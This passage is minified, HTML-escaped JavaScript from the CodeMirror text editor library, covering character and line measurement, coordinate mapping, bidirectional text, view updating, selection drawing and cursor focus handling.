function ensureLineHeights(cm,lineView,rect){var wrapping=cm.options.lineWrapping;var curWidth=wrapping&amp;&amp;displayWidth(cm);if(!lineView.measure.heights||wrapping&amp;&amp;lineView.measure.width!=curWidth){var heights=lineView.measure.heights=[];if(wrapping){lineView.measure.width=curWidth;var rects=lineView.text.firstChild.getClientRects();for(var i=0;i&lt;rects.length-1;i++){var cur=rects[i],next=rects[i+1];if(Math.abs(cur.bottom-next.bottom)&gt;2){heights.push((cur.bottom+next.top)/2-rect.top)}}}
heights.push(rect.bottom-rect.top)}}
function mapFromLineView(lineView,line,lineN){if(lineView.line==line){return{map:lineView.measure.map,cache:lineView.measure.cache}}
for(var i=0;i&lt;lineView.rest.length;i++){if(lineView.rest[i]==line){return{map:lineView.measure.maps[i],cache:lineView.measure.caches[i]}}}
for(var i$1=0;i$1&lt;lineView.rest.length;i$1++){if(lineNo(lineView.rest[i$1])&gt;lineN){return{map:lineView.measure.maps[i$1],cache:lineView.measure.caches[i$1],before:!0}}}}
function updateExternalMeasurement(cm,line){line=visualLine(line);var lineN=lineNo(line);var view=cm.display.externalMeasured=new LineView(cm.doc,line,lineN);view.lineN=lineN;var built=view.built=buildLineContent(cm,view);view.text=built.pre;removeChildrenAndAdd(cm.display.lineMeasure,built.pre);return view}
function measureChar(cm,line,ch,bias){return measureCharPrepared(cm,prepareMeasureForLine(cm,line),ch,bias)}
function findViewForLine(cm,lineN){if(lineN&gt;=cm.display.viewFrom&amp;&amp;lineN&lt;cm.display.viewTo){return cm.display.view[findViewIndex(cm,lineN)]}
var ext=cm.display.externalMeasured;if(ext&amp;&amp;lineN&gt;=ext.lineN&amp;&amp;lineN&lt;ext.lineN+ext.size){return ext}}
function prepareMeasureForLine(cm,line){var lineN=lineNo(line);var view=findViewForLine(cm,lineN);if(view&amp;&amp;!view.text){view=null}else if(view&amp;&amp;view.changes){updateLineForChanges(cm,view,lineN,getDimensions(cm));cm.curOp.forceUpdate=!0}
if(!view){view=updateExternalMeasurement(cm,line)}
var info=mapFromLineView(view,line,lineN);return{line:line,view:view,rect:null,map:info.map,cache:info.cache,before:info.before,hasHeights:!1}}
function measureCharPrepared(cm,prepared,ch,bias,varHeight){if(prepared.before){ch=-1}
var key=ch+(bias||&quot;&quot;),found;if(prepared.cache.hasOwnProperty(key)){found=prepared.cache[key]}else{if(!prepared.rect){prepared.rect=prepared.view.text.getBoundingClientRect()}
if(!prepared.hasHeights){ensureLineHeights(cm,prepared.view,prepared.rect);prepared.hasHeights=!0}
found=measureCharInner(cm,prepared,ch,bias);if(!found.bogus){prepared.cache[key]=found}}
return{left:found.left,right:found.right,top:varHeight?found.rtop:found.top,bottom:varHeight?found.rbottom:found.bottom}}
var nullRect={left:0,right:0,top:0,bottom:0};function nodeAndOffsetInLineMap(map,ch,bias){var node,start,end,collapse,mStart,mEnd;for(var i=0;i&lt;map.length;i+=3){mStart=map[i];mEnd=map[i+1];if(ch&lt;mStart){start=0;end=1;collapse=&quot;left&quot;}else if(ch&lt;mEnd){start=ch-mStart;end=start+1}else if(i==map.length-3||ch==mEnd&amp;&amp;map[i+3]&gt;ch){end=mEnd-mStart;start=end-1;if(ch&gt;=mEnd){collapse=&quot;right&quot;}}
if(start!=null){node=map[i+2];if(mStart==mEnd&amp;&amp;bias==(node.insertLeft?&quot;left&quot;:&quot;right&quot;)){collapse=bias}
if(bias==&quot;left&quot;&amp;&amp;start==0){while(i&amp;&amp;map[i-2]==map[i-3]&amp;&amp;map[i-1].insertLeft){node=map[(i-=3)+2];collapse=&quot;left&quot;}}
if(bias==&quot;right&quot;&amp;&amp;start==mEnd-mStart){while(i&lt;map.length-3&amp;&amp;map[i+3]==map[i+4]&amp;&amp;!map[i+5].insertLeft){node=map[(i+=3)+2];collapse=&quot;right&quot;}}
break}}
return{node:node,start:start,end:end,collapse:collapse,coverStart:mStart,coverEnd:mEnd}}
function getUsefulRect(rects,bias){var rect=nullRect;if(bias==&quot;left&quot;){for(var i=0;i&lt;rects.length;i++){if((rect=rects[i]).left!=rect.right){break}}}else{for(var i$1=rects.length-1;i$1&gt;=0;i$1--){if((rect=rects[i$1]).left!=rect.right){break}}}
return rect}
function measureCharInner(cm,prepared,ch,bias){var place=nodeAndOffsetInLineMap(prepared.map,ch,bias);var node=place.node,start=place.start,end=place.end,collapse=place.collapse;var rect;if(node.nodeType==3){for(var i$1=0;i$1&lt;4;i$1++){while(start&amp;&amp;isExtendingChar(prepared.line.text.charAt(place.coverStart+start))){--start}
while(place.coverStart+end&lt;place.coverEnd&amp;&amp;isExtendingChar(prepared.line.text.charAt(place.coverStart+end))){++end}
if(ie&amp;&amp;ie_version&lt;9&amp;&amp;start==0&amp;&amp;end==place.coverEnd-place.coverStart){rect=node.parentNode.getBoundingClientRect()}else{rect=getUsefulRect(range(node,start,end).getClientRects(),bias)}
if(rect.left||rect.right||start==0){break}
end=start;start=start-1;collapse=&quot;right&quot;}
if(ie&amp;&amp;ie_version&lt;11){rect=maybeUpdateRectForZooming(cm.display.measure,rect)}}else{if(start&gt;0){collapse=bias=&quot;right&quot;}
var rects;if(cm.options.lineWrapping&amp;&amp;(rects=node.getClientRects()).length&gt;1){rect=rects[bias==&quot;right&quot;?rects.length-1:0]}else{rect=node.getBoundingClientRect()}}
if(ie&amp;&amp;ie_version&lt;9&amp;&amp;!start&amp;&amp;(!rect||!rect.left&amp;&amp;!rect.right)){var rSpan=node.parentNode.getClientRects()[0];if(rSpan){rect={left:rSpan.left,right:rSpan.left+charWidth(cm.display),top:rSpan.top,bottom:rSpan.bottom}}else{rect=nullRect}}
var rtop=rect.top-prepared.rect.top,rbot=rect.bottom-prepared.rect.top;var mid=(rtop+rbot)/2;var heights=prepared.view.measure.heights;var i=0;for(;i&lt;heights.length-1;i++){if(mid&lt;heights[i]){break}}
var top=i?heights[i-1]:0,bot=heights[i];var result={left:(collapse==&quot;right&quot;?rect.right:rect.left)-prepared.rect.left,right:(collapse==&quot;left&quot;?rect.left:rect.right)-prepared.rect.left,top:top,bottom:bot};if(!rect.left&amp;&amp;!rect.right){result.bogus=!0}
if(!cm.options.singleCursorHeightPerLine){result.rtop=rtop;result.rbottom=rbot}
return result}
function maybeUpdateRectForZooming(measure,rect){if(!window.screen||screen.logicalXDPI==null||screen.logicalXDPI==screen.deviceXDPI||!hasBadZoomedRects(measure)){return rect}
var scaleX=screen.logicalXDPI/screen.deviceXDPI;var scaleY=screen.logicalYDPI/screen.deviceYDPI;return{left:rect.left*scaleX,right:rect.right*scaleX,top:rect.top*scaleY,bottom:rect.bottom*scaleY}}
function clearLineMeasurementCacheFor(lineView){if(lineView.measure){lineView.measure.cache={};lineView.measure.heights=null;if(lineView.rest){for(var i=0;i&lt;lineView.rest.length;i++){lineView.measure.caches[i]={}}}}}
function clearLineMeasurementCache(cm){cm.display.externalMeasure=null;removeChildren(cm.display.lineMeasure);for(var i=0;i&lt;cm.display.view.length;i++){clearLineMeasurementCacheFor(cm.display.view[i])}}
function clearCaches(cm){clearLineMeasurementCache(cm);cm.display.cachedCharWidth=cm.display.cachedTextHeight=cm.display.cachedPaddingH=null;if(!cm.options.lineWrapping){cm.display.maxLineChanged=!0}
cm.display.lineNumChars=null}
function pageScrollX(){if(chrome&amp;&amp;android){return-(document.body.getBoundingClientRect().left-parseInt(getComputedStyle(document.body).marginLeft))}
return window.pageXOffset||(document.documentElement||document.body).scrollLeft}
function pageScrollY(){if(chrome&amp;&amp;android){return-(document.body.getBoundingClientRect().top-parseInt(getComputedStyle(document.body).marginTop))}
return window.pageYOffset||(document.documentElement||document.body).scrollTop}
function widgetTopHeight(lineObj){var height=0;if(lineObj.widgets){for(var i=0;i&lt;lineObj.widgets.length;++i){if(lineObj.widgets[i].above){height+=widgetHeight(lineObj.widgets[i])}}}
return height}
function intoCoordSystem(cm,lineObj,rect,context,includeWidgets){if(!includeWidgets){var height=widgetTopHeight(lineObj);rect.top+=height;rect.bottom+=height}
if(context==&quot;line&quot;){return rect}
if(!context){context=&quot;local&quot;}
var yOff=heightAtLine(lineObj);if(context==&quot;local&quot;){yOff+=paddingTop(cm.display)}else{yOff-=cm.display.viewOffset}
if(context==&quot;page&quot;||context==&quot;window&quot;){var lOff=cm.display.lineSpace.getBoundingClientRect();yOff+=lOff.top+(context==&quot;window&quot;?0:pageScrollY());var xOff=lOff.left+(context==&quot;window&quot;?0:pageScrollX());rect.left+=xOff;rect.right+=xOff}
rect.top+=yOff;rect.bottom+=yOff;return rect}
function fromCoordSystem(cm,coords,context){if(context==&quot;div&quot;){return coords}
var left=coords.left,top=coords.top;if(context==&quot;page&quot;){left-=pageScrollX();top-=pageScrollY()}else if(context==&quot;local&quot;||!context){var localBox=cm.display.sizer.getBoundingClientRect();left+=localBox.left;top+=localBox.top}
var lineSpaceBox=cm.display.lineSpace.getBoundingClientRect();return{left:left-lineSpaceBox.left,top:top-lineSpaceBox.top}}
function charCoords(cm,pos,context,lineObj,bias){if(!lineObj){lineObj=getLine(cm.doc,pos.line)}
return intoCoordSystem(cm,lineObj,measureChar(cm,lineObj,pos.ch,bias),context)}
function cursorCoords(cm,pos,context,lineObj,preparedMeasure,varHeight){lineObj=lineObj||getLine(cm.doc,pos.line);if(!preparedMeasure){preparedMeasure=prepareMeasureForLine(cm,lineObj)}
function get(ch,right){var m=measureCharPrepared(cm,preparedMeasure,ch,right?&quot;right&quot;:&quot;left&quot;,varHeight);if(right){m.left=m.right}else{m.right=m.left}
return intoCoordSystem(cm,lineObj,m,context)}
var order=getOrder(lineObj,cm.doc.direction),ch=pos.ch,sticky=pos.sticky;if(ch&gt;=lineObj.text.length){ch=lineObj.text.length;sticky=&quot;before&quot;}else if(ch&lt;=0){ch=0;sticky=&quot;after&quot;}
if(!order){return get(sticky==&quot;before&quot;?ch-1:ch,sticky==&quot;before&quot;)}
function getBidi(ch,partPos,invert){var part=order[partPos],right=part.level==1;return get(invert?ch-1:ch,right!=invert)}
var partPos=getBidiPartAt(order,ch,sticky);var other=bidiOther;var val=getBidi(ch,partPos,sticky==&quot;before&quot;);if(other!=null){val.other=getBidi(ch,other,sticky!=&quot;before&quot;)}
return val}
function estimateCoords(cm,pos){var left=0;pos=clipPos(cm.doc,pos);if(!cm.options.lineWrapping){left=charWidth(cm.display)*pos.ch}
var lineObj=getLine(cm.doc,pos.line);var top=heightAtLine(lineObj)+paddingTop(cm.display);return{left:left,right:left,top:top,bottom:top+lineObj.height}}
function PosWithInfo(line,ch,sticky,outside,xRel){var pos=Pos(line,ch,sticky);pos.xRel=xRel;if(outside){pos.outside=outside}
return pos}
function coordsChar(cm,x,y){var doc=cm.doc;y+=cm.display.viewOffset;if(y&lt;0){return PosWithInfo(doc.first,0,null,-1,-1)}
var lineN=lineAtHeight(doc,y),last=doc.first+doc.size-1;if(lineN&gt;last){return PosWithInfo(doc.first+doc.size-1,getLine(doc,last).text.length,null,1,1)}
if(x&lt;0){x=0}
var lineObj=getLine(doc,lineN);for(;;){var found=coordsCharInner(cm,lineObj,lineN,x,y);var collapsed=collapsedSpanAround(lineObj,found.ch+(found.xRel&gt;0||found.outside&gt;0?1:0));if(!collapsed){return found}
var rangeEnd=collapsed.find(1);if(rangeEnd.line==lineN){return rangeEnd}
lineObj=getLine(doc,lineN=rangeEnd.line)}}
function wrappedLineExtent(cm,lineObj,preparedMeasure,y){y-=widgetTopHeight(lineObj);var end=lineObj.text.length;var begin=findFirst(function(ch){return measureCharPrepared(cm,preparedMeasure,ch-1).bottom&lt;=y},end,0);end=findFirst(function(ch){return measureCharPrepared(cm,preparedMeasure,ch).top&gt;y},begin,end);return{begin:begin,end:end}}
function wrappedLineExtentChar(cm,lineObj,preparedMeasure,target){if(!preparedMeasure){preparedMeasure=prepareMeasureForLine(cm,lineObj)}
var targetTop=intoCoordSystem(cm,lineObj,measureCharPrepared(cm,preparedMeasure,target),&quot;line&quot;).top;return wrappedLineExtent(cm,lineObj,preparedMeasure,targetTop)}
function boxIsAfter(box,x,y,left){return box.bottom&lt;=y?!1:box.top&gt;y?!0:(left?box.left:box.right)&gt;x}
function coordsCharInner(cm,lineObj,lineNo,x,y){y-=heightAtLine(lineObj);var preparedMeasure=prepareMeasureForLine(cm,lineObj);var widgetHeight=widgetTopHeight(lineObj);var begin=0,end=lineObj.text.length,ltr=!0;var order=getOrder(lineObj,cm.doc.direction);if(order){var part=(cm.options.lineWrapping?coordsBidiPartWrapped:coordsBidiPart)(cm,lineObj,lineNo,preparedMeasure,order,x,y);ltr=part.level!=1;begin=ltr?part.from:part.to-1;end=ltr?part.to:part.from-1}
var chAround=null,boxAround=null;var ch=findFirst(function(ch){var box=measureCharPrepared(cm,preparedMeasure,ch);box.top+=widgetHeight;box.bottom+=widgetHeight;if(!boxIsAfter(box,x,y,!1)){return!1}
if(box.top&lt;=y&amp;&amp;box.left&lt;=x){chAround=ch;boxAround=box}
return!0},begin,end);var baseX,sticky,outside=!1;if(boxAround){var atLeft=x-boxAround.left&lt;boxAround.right-x,atStart=atLeft==ltr;ch=chAround+(atStart?0:1);sticky=atStart?&quot;after&quot;:&quot;before&quot;;baseX=atLeft?boxAround.left:boxAround.right}else{if(!ltr&amp;&amp;(ch==end||ch==begin)){ch++}
sticky=ch==0?&quot;after&quot;:ch==lineObj.text.length?&quot;before&quot;:(measureCharPrepared(cm,preparedMeasure,ch-(ltr?1:0)).bottom+widgetHeight&lt;=y)==ltr?&quot;after&quot;:&quot;before&quot;;var coords=cursorCoords(cm,Pos(lineNo,ch,sticky),&quot;line&quot;,lineObj,preparedMeasure);baseX=coords.left;outside=y&lt;coords.top?-1:y&gt;=coords.bottom?1:0}
ch=skipExtendingChars(lineObj.text,ch,1);return PosWithInfo(lineNo,ch,sticky,outside,x-baseX)}
function coordsBidiPart(cm,lineObj,lineNo,preparedMeasure,order,x,y){var index=findFirst(function(i){var part=order[i],ltr=part.level!=1;return boxIsAfter(cursorCoords(cm,Pos(lineNo,ltr?part.to:part.from,ltr?&quot;before&quot;:&quot;after&quot;),&quot;line&quot;,lineObj,preparedMeasure),x,y,!0)},0,order.length-1);var part=order[index];if(index&gt;0){var ltr=part.level!=1;var start=cursorCoords(cm,Pos(lineNo,ltr?part.from:part.to,ltr?&quot;after&quot;:&quot;before&quot;),&quot;line&quot;,lineObj,preparedMeasure);if(boxIsAfter(start,x,y,!0)&amp;&amp;start.top&gt;y){part=order[index-1]}}
return part}
function coordsBidiPartWrapped(cm,lineObj,_lineNo,preparedMeasure,order,x,y){var ref=wrappedLineExtent(cm,lineObj,preparedMeasure,y);var begin=ref.begin;var end=ref.end;if(/\s/.test(lineObj.text.charAt(end-1))){end--}
var part=null,closestDist=null;for(var i=0;i&lt;order.length;i++){var p=order[i];if(p.from&gt;=end||p.to&lt;=begin){continue}
var ltr=p.level!=1;var endX=measureCharPrepared(cm,preparedMeasure,ltr?Math.min(end,p.to)-1:Math.max(begin,p.from)).right;var dist=endX&lt;x?x-endX+1e9:endX-x;if(!part||closestDist&gt;dist){part=p;closestDist=dist}}
if(!part){part=order[order.length-1]}
if(part.from&lt;begin){part={from:begin,to:part.to,level:part.level}}
if(part.to&gt;end){part={from:part.from,to:end,level:part.level}}
return part}
var measureText;function textHeight(display){if(display.cachedTextHeight!=null){return display.cachedTextHeight}
if(measureText==null){measureText=elt(&quot;pre&quot;,null,&quot;CodeMirror-line-like&quot;);for(var i=0;i&lt;49;++i){measureText.appendChild(document.createTextNode(&quot;x&quot;));measureText.appendChild(elt(&quot;br&quot;))}
measureText.appendChild(document.createTextNode(&quot;x&quot;))}
removeChildrenAndAdd(display.measure,measureText);var height=measureText.offsetHeight/50;if(height&gt;3){display.cachedTextHeight=height}
removeChildren(display.measure);return height||1}
function charWidth(display){if(display.cachedCharWidth!=null){return display.cachedCharWidth}
var anchor=elt(&quot;span&quot;,&quot;xxxxxxxxxx&quot;);var pre=elt(&quot;pre&quot;,[anchor],&quot;CodeMirror-line-like&quot;);removeChildrenAndAdd(display.measure,pre);var rect=anchor.getBoundingClientRect(),width=(rect.right-rect.left)/10;if(width&gt;2){display.cachedCharWidth=width}
return width||10}
function getDimensions(cm){var d=cm.display,left={},width={};var gutterLeft=d.gutters.clientLeft;for(var n=d.gutters.firstChild,i=0;n;n=n.nextSibling,++i){var id=cm.display.gutterSpecs[i].className;left[id]=n.offsetLeft+n.clientLeft+gutterLeft;width[id]=n.clientWidth}
return{fixedPos:compensateForHScroll(d),gutterTotalWidth:d.gutters.offsetWidth,gutterLeft:left,gutterWidth:width,wrapperWidth:d.wrapper.clientWidth}}
function compensateForHScroll(display){return display.scroller.getBoundingClientRect().left-display.sizer.getBoundingClientRect().left}
function estimateHeight(cm){var th=textHeight(cm.display),wrapping=cm.options.lineWrapping;var perLine=wrapping&amp;&amp;Math.max(5,cm.display.scroller.clientWidth/charWidth(cm.display)-3);return function(line){if(lineIsHidden(cm.doc,line)){return 0}
var widgetsHeight=0;if(line.widgets){for(var i=0;i&lt;line.widgets.length;i++){if(line.widgets[i].height){widgetsHeight+=line.widgets[i].height}}}
if(wrapping){return widgetsHeight+(Math.ceil(line.text.length/perLine)||1)*th}else{return widgetsHeight+th}}}
function estimateLineHeights(cm){var doc=cm.doc,est=estimateHeight(cm);doc.iter(function(line){var estHeight=est(line);if(estHeight!=line.height){updateLineHeight(line,estHeight)}})}
function posFromMouse(cm,e,liberal,forRect){var display=cm.display;if(!liberal&amp;&amp;e_target(e).getAttribute(&quot;cm-not-content&quot;)==&quot;true&quot;){return null}
var x,y,space=display.lineSpace.getBoundingClientRect();try{x=e.clientX-space.left;y=e.clientY-space.top}catch(e$1){return null}
var coords=coordsChar(cm,x,y),line;if(forRect&amp;&amp;coords.xRel&gt;0&amp;&amp;(line=getLine(cm.doc,coords.line).text).length==coords.ch){var colDiff=countColumn(line,line.length,cm.options.tabSize)-line.length;coords=Pos(coords.line,Math.max(0,Math.round((x-paddingH(cm.display).left)/charWidth(cm.display))-colDiff))}
return coords}
function findViewIndex(cm,n){if(n&gt;=cm.display.viewTo){return null}
n-=cm.display.viewFrom;if(n&lt;0){return null}
var view=cm.display.view;for(var i=0;i&lt;view.length;i++){n-=view[i].size;if(n&lt;0){return i}}}
function regChange(cm,from,to,lendiff){if(from==null){from=cm.doc.first}
if(to==null){to=cm.doc.first+cm.doc.size}
if(!lendiff){lendiff=0}
var display=cm.display;if(lendiff&amp;&amp;to&lt;display.viewTo&amp;&amp;(display.updateLineNumbers==null||display.updateLineNumbers&gt;from)){display.updateLineNumbers=from}
cm.curOp.viewChanged=!0;if(from&gt;=display.viewTo){if(sawCollapsedSpans&amp;&amp;visualLineNo(cm.doc,from)&lt;display.viewTo){resetView(cm)}}else if(to&lt;=display.viewFrom){if(sawCollapsedSpans&amp;&amp;visualLineEndNo(cm.doc,to+lendiff)&gt;display.viewFrom){resetView(cm)}else{display.viewFrom+=lendiff;display.viewTo+=lendiff}}else if(from&lt;=display.viewFrom&amp;&amp;to&gt;=display.viewTo){resetView(cm)}else if(from&lt;=display.viewFrom){var cut=viewCuttingPoint(cm,to,to+lendiff,1);if(cut){display.view=display.view.slice(cut.index);display.viewFrom=cut.lineN;display.viewTo+=lendiff}else{resetView(cm)}}else if(to&gt;=display.viewTo){var cut$1=viewCuttingPoint(cm,from,from,-1);if(cut$1){display.view=display.view.slice(0,cut$1.index);display.viewTo=cut$1.lineN}else{resetView(cm)}}else{var cutTop=viewCuttingPoint(cm,from,from,-1);var cutBot=viewCuttingPoint(cm,to,to+lendiff,1);if(cutTop&amp;&amp;cutBot){display.view=display.view.slice(0,cutTop.index).concat(buildViewArray(cm,cutTop.lineN,cutBot.lineN)).concat(display.view.slice(cutBot.index));display.viewTo+=lendiff}else{resetView(cm)}}
var ext=display.externalMeasured;if(ext){if(to&lt;ext.lineN){ext.lineN+=lendiff}else if(from&lt;ext.lineN+ext.size){display.externalMeasured=null}}}
function regLineChange(cm,line,type){cm.curOp.viewChanged=!0;var display=cm.display,ext=cm.display.externalMeasured;if(ext&amp;&amp;line&gt;=ext.lineN&amp;&amp;line&lt;ext.lineN+ext.size){display.externalMeasured=null}
if(line&lt;display.viewFrom||line&gt;=display.viewTo){return}
var lineView=display.view[findViewIndex(cm,line)];if(lineView.node==null){return}
var arr=lineView.changes||(lineView.changes=[]);if(indexOf(arr,type)==-1){arr.push(type)}}
function resetView(cm){cm.display.viewFrom=cm.display.viewTo=cm.doc.first;cm.display.view=[];cm.display.viewOffset=0}
function viewCuttingPoint(cm,oldN,newN,dir){var index=findViewIndex(cm,oldN),diff,view=cm.display.view;if(!sawCollapsedSpans||newN==cm.doc.first+cm.doc.size){return{index:index,lineN:newN}}
var n=cm.display.viewFrom;for(var i=0;i&lt;index;i++){n+=view[i].size}
if(n!=oldN){if(dir&gt;0){if(index==view.length-1){return null}
diff=(n+view[index].size)-oldN;index++}else{diff=n-oldN}
oldN+=diff;newN+=diff}
while(visualLineNo(cm.doc,newN)!=newN){if(index==(dir&lt;0?0:view.length-1)){return null}
newN+=dir*view[index-(dir&lt;0?1:0)].size;index+=dir}
return{index:index,lineN:newN}}
function adjustView(cm,from,to){var display=cm.display,view=display.view;if(view.length==0||from&gt;=display.viewTo||to&lt;=display.viewFrom){display.view=buildViewArray(cm,from,to);display.viewFrom=from}else{if(display.viewFrom&gt;from){display.view=buildViewArray(cm,from,display.viewFrom).concat(display.view)}else if(display.viewFrom&lt;from){display.view=display.view.slice(findViewIndex(cm,from))}
display.viewFrom=from;if(display.viewTo&lt;to){display.view=display.view.concat(buildViewArray(cm,display.viewTo,to))}else if(display.viewTo&gt;to){display.view=display.view.slice(0,findViewIndex(cm,to))}}
display.viewTo=to}
function countDirtyView(cm){var view=cm.display.view,dirty=0;for(var i=0;i&lt;view.length;i++){var lineView=view[i];if(!lineView.hidden&amp;&amp;(!lineView.node||lineView.changes)){++dirty}}
return dirty}
function updateSelection(cm){cm.display.input.showSelection(cm.display.input.prepareSelection())}
function prepareSelection(cm,primary){if(primary===void 0)primary=!0;var doc=cm.doc,result={};var curFragment=result.cursors=document.createDocumentFragment();var selFragment=result.selection=document.createDocumentFragment();for(var i=0;i&lt;doc.sel.ranges.length;i++){if(!primary&amp;&amp;i==doc.sel.primIndex){continue}
var range=doc.sel.ranges[i];if(range.from().line&gt;=cm.display.viewTo||range.to().line&lt;cm.display.viewFrom){continue}
var collapsed=range.empty();if(collapsed||cm.options.showCursorWhenSelecting){drawSelectionCursor(cm,range.head,curFragment)}
if(!collapsed){drawSelectionRange(cm,range,selFragment)}}
return result}
function drawSelectionCursor(cm,head,output){var pos=cursorCoords(cm,head,&quot;div&quot;,null,null,!cm.options.singleCursorHeightPerLine);var cursor=output.appendChild(elt(&quot;div&quot;,&quot;\u00a0&quot;,&quot;CodeMirror-cursor&quot;));cursor.style.left=pos.left+&quot;px&quot;;cursor.style.top=pos.top+&quot;px&quot;;cursor.style.height=Math.max(0,pos.bottom-pos.top)*cm.options.cursorHeight+&quot;px&quot;;if(pos.other){var otherCursor=output.appendChild(elt(&quot;div&quot;,&quot;\u00a0&quot;,&quot;CodeMirror-cursor CodeMirror-secondarycursor&quot;));otherCursor.style.display=&quot;&quot;;otherCursor.style.left=pos.other.left+&quot;px&quot;;otherCursor.style.top=pos.other.top+&quot;px&quot;;otherCursor.style.height=(pos.other.bottom-pos.other.top)*.85+&quot;px&quot;}}
function cmpCoords(a,b){return a.top-b.top||a.left-b.left}
function drawSelectionRange(cm,range,output){var display=cm.display,doc=cm.doc;var fragment=document.createDocumentFragment();var padding=paddingH(cm.display),leftSide=padding.left;var rightSide=Math.max(display.sizerWidth,displayWidth(cm)-display.sizer.offsetLeft)-padding.right;var docLTR=doc.direction==&quot;ltr&quot;;function add(left,top,width,bottom){if(top&lt;0){top=0}
top=Math.round(top);bottom=Math.round(bottom);fragment.appendChild(elt(&quot;div&quot;,null,&quot;CodeMirror-selected&quot;,(&quot;position: absolute; left: &quot;+left+&quot;px;\n                             top: &quot;+top+&quot;px; width: &quot;+(width==null?rightSide-left:width)+&quot;px;\n                             height: &quot;+(bottom-top)+&quot;px&quot;)))}
function drawForLine(line,fromArg,toArg){var lineObj=getLine(doc,line);var lineLen=lineObj.text.length;var start,end;function coords(ch,bias){return charCoords(cm,Pos(line,ch),&quot;div&quot;,lineObj,bias)}
function wrapX(pos,dir,side){var extent=wrappedLineExtentChar(cm,lineObj,null,pos);var prop=(dir==&quot;ltr&quot;)==(side==&quot;after&quot;)?&quot;left&quot;:&quot;right&quot;;var ch=side==&quot;after&quot;?extent.begin:extent.end-(/\s/.test(lineObj.text.charAt(extent.end-1))?2:1);return coords(ch,prop)[prop]}
var order=getOrder(lineObj,doc.direction);iterateBidiSections(order,fromArg||0,toArg==null?lineLen:toArg,function(from,to,dir,i){var ltr=dir==&quot;ltr&quot;;var fromPos=coords(from,ltr?&quot;left&quot;:&quot;right&quot;);var toPos=coords(to-1,ltr?&quot;right&quot;:&quot;left&quot;);var openStart=fromArg==null&amp;&amp;from==0,openEnd=toArg==null&amp;&amp;to==lineLen;var first=i==0,last=!order||i==order.length-1;if(toPos.top-fromPos.top&lt;=3){var openLeft=(docLTR?openStart:openEnd)&amp;&amp;first;var openRight=(docLTR?openEnd:openStart)&amp;&amp;last;var left=openLeft?leftSide:(ltr?fromPos:toPos).left;var right=openRight?rightSide:(ltr?toPos:fromPos).right;add(left,fromPos.top,right-left,fromPos.bottom)}else{var topLeft,topRight,botLeft,botRight;if(ltr){topLeft=docLTR&amp;&amp;openStart&amp;&amp;first?leftSide:fromPos.left;topRight=docLTR?rightSide:wrapX(from,dir,&quot;before&quot;);botLeft=docLTR?leftSide:wrapX(to,dir,&quot;after&quot;);botRight=docLTR&amp;&amp;openEnd&amp;&amp;last?rightSide:toPos.right}else{topLeft=!docLTR?leftSide:wrapX(from,dir,&quot;before&quot;);topRight=!docLTR&amp;&amp;openStart&amp;&amp;first?rightSide:fromPos.right;botLeft=!docLTR&amp;&amp;openEnd&amp;&amp;last?leftSide:toPos.left;botRight=!docLTR?rightSide:wrapX(to,dir,&quot;after&quot;)}
add(topLeft,fromPos.top,topRight-topLeft,fromPos.bottom);if(fromPos.bottom&lt;toPos.top){add(leftSide,fromPos.bottom,null,toPos.top)}
add(botLeft,toPos.top,botRight-botLeft,toPos.bottom)}
if(!start||cmpCoords(fromPos,start)&lt;0){start=fromPos}
if(cmpCoords(toPos,start)&lt;0){start=toPos}
if(!end||cmpCoords(fromPos,end)&lt;0){end=fromPos}
if(cmpCoords(toPos,end)&lt;0){end=toPos}});return{start:start,end:end}}
var sFrom=range.from(),sTo=range.to();if(sFrom.line==sTo.line){drawForLine(sFrom.line,sFrom.ch,sTo.ch)}else{var fromLine=getLine(doc,sFrom.line),toLine=getLine(doc,sTo.line);var singleVLine=visualLine(fromLine)==visualLine(toLine);var leftEnd=drawForLine(sFrom.line,sFrom.ch,singleVLine?fromLine.text.length+1:null).end;var rightStart=drawForLine(sTo.line,singleVLine?0:null,sTo.ch).start;if(singleVLine){if(leftEnd.top&lt;rightStart.top-2){add(leftEnd.right,leftEnd.top,null,leftEnd.bottom);add(leftSide,rightStart.top,rightStart.left,rightStart.bottom)}else{add(leftEnd.right,leftEnd.top,rightStart.left-leftEnd.right,leftEnd.bottom)}}
if(leftEnd.bottom&lt;rightStart.top){add(leftSide,leftEnd.bottom,null,rightStart.top)}}
output.appendChild(fragment)}
function restartBlink(cm){if(!cm.state.focused){return}
var display=cm.display;clearInterval(display.blinker);var on=!0;display.cursorDiv.style.visibility=&quot;&quot;;if(cm.options.cursorBlinkRate&gt;0){display.blinker=setInterval(function(){if(!cm.hasFocus()){onBlur(cm)}
display.cursorDiv.style.visibility=(on=!on)?&quot;&quot;:&quot;hidden&quot;},cm.options.cursorBlinkRate)}else if(cm.options.cursorBlinkRate&lt;0){display.cursorDiv.style.visibility=&quot;hidden&quot;}}
function ensureFocus(cm){if(!cm.state.focused){cm.display.input.focus();onFocus(cm)}}
function delayBlurEvent(cm){cm.state.delayingBlurEvent=!0;setTimeout(function(){if(cm.state.delayingBlurEvent){cm.state.delayingBlurEvent=!1;onBlur(cm)}},100)}
function onFocus(cm,e){if(cm.state.delayingBlurEvent){cm.state.delayingBlurEvent=!1}
if(cm.options.readOnly==&quot;nocursor&quot;){return}
if(!cm.state.focused){signal(cm,&quot;focus&quot;,cm,e);cm.state.focused=!0;addClass(cm.display.wrapper,&quot;CodeMirror-focused&quot;);if(!cm.curOp&amp;&amp;cm.display.selForContextMenu!=cm.doc.sel){cm.display.input.reset();if(webkit){setTimeout(function(){return cm.display.input.reset(!0)},20)}}
cm.display.input.receivedFocus()}
restartBlink(cm)}
function onBlur(cm,e){if(cm.state.delayingBlurEvent){return}
if(cm.state.focused){signal(cm,&quot;blur&quot;,cm,e);cm.state.focused=!1;rmClass(cm.display.wrapper,&quot;CodeMirror-focused&quot;)}
clearInterval(cm.display.blinker);setTimeout(function(){if(!cm.state.focused){cm.display.shift=!1}},150)}
function updateHeightsInViewport(cm){var display=cm.display;var prevBottom=display.lineDiv.offsetTop;for(var i=0;i&lt;display.view.length;i++){var cur=display.view[i],wrapping=cm.options.lineWrapping;var height=(void 0),width=0;if(cur.hidden){continue}
if(ie&amp;&amp;ie_version&lt;8){var bot=cur.node.offsetTop+cur.node.offsetHeight;height=bot-prevBottom;prevBottom=bot}else{var box=cur.node.getBoundingClientRect();height=box.bottom-box.top;if(!wrapping&amp;&amp;cur.text.firstChild){width=cur.text.firstChild.getBoundingClientRect().right-box.left-1}}
